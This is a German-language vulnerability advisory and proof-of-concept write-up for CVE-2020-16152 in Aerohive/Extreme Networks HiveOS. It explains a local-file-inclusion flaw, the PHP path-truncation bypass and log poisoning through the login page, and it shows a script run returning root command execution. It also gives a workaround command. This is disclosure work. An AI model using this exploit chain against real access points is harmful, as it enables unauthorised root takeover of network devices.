
Proof-of-Concept-Exploit für CVE-2020-16152: LFI-zu-RCE in Aerohive/Extreme Networks HiveOS über PHP-String-Trunkierung und Log-Poisoning, der Root-Zugriff auf verwundbaren Access Points ermöglicht.
| Produktname |
| HiveOS / IQ Engine |
| Produktversion | Getestet auf 10.0r8a build-242466 und älter |
Das administrative Webinterface (NetConfig) von Aerohive/Extreme Networks HiveOS ist anfällig für LFI, da es eine alte PHP-Version verwendet, die anfällig für String-Truncation-Angriffe ist. Ein Angreifer kann dies in Verbindung mit Log-Poisoning nutzen, um auf einem anfälligen Access Point root-Rechte zu erlangen.
Als Workaround kann das Webinterface mit folgendem Befehl deaktiviert werden: no system web-server hive-UI enable, um sich vor dieser Sicherheitslücke zu schützen.
Der Parameter _page, der für Aufrufe von action/AhBaseAction.class.php5 über die URL /action.php5 verwendet wird, dient dazu, dynamisch eine PHP-Klasse zu laden, die für eine Seite verwendet wird, wie wir im folgenden Codeausschnitt sehen können ($pageName stammt aus $_POST['_page']):
protected function getAccess($pageName,$actionType) {
$filename = $pageName.'Access.class.php5';
$classname = $pageName.'Access';
if (include_once $filename) {
require_once $filename;
return new $classname($this->user,$actionType);
}
...
}
Wie wir sehen können, gibt es kein Präfix für diesen Dateinamen, sodass es möglich ist, Pfade zu beliebigen Dateien zu durchlaufen. Da jedoch ein Suffix vorhanden ist, ist es nicht möglich, einfach eine beliebige Datei einzubinden. Da die PHP-Version auf dem Access Point recht alt ist, können wir dies umgehen (weitere Informationen):
$ php-cgi -v
PHP Warning: PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
Indem wir den Pfad mit ausreichend /-Zeichen füllen, können wir sicherstellen, dass das Suffix Access.class.php5 vollständig abgeschnitten wird und wir beliebige Dateien einbinden können.
Da fehlgeschlagene Anmeldeversuche in /tmp/messages protokolliert werden und den übermittelten Benutzernamen enthalten, können wir die Anmeldeseite nutzen, um /tmp/messages zu vergiften und dann mit dem oben aufgeführten LFI-Angriff Code daraus auszuführen.
Obwohl der Webserver selbst mit einem Benutzer mit niedrigen Rechten läuft, wird die von hiawatha verwendete php-cgi-Instanz tatsächlich als root ausgeführt, was bedeutet, dass der gesamte PHP-Code als root ausgeführt wird:
$ ps | egrep "php|hiawatha"
2237 root 9980 S /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin 20840 S /usr/local/sbin/hiawatha
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice ah_webui: security: Admin "<
uid=0(root) gid=0(root)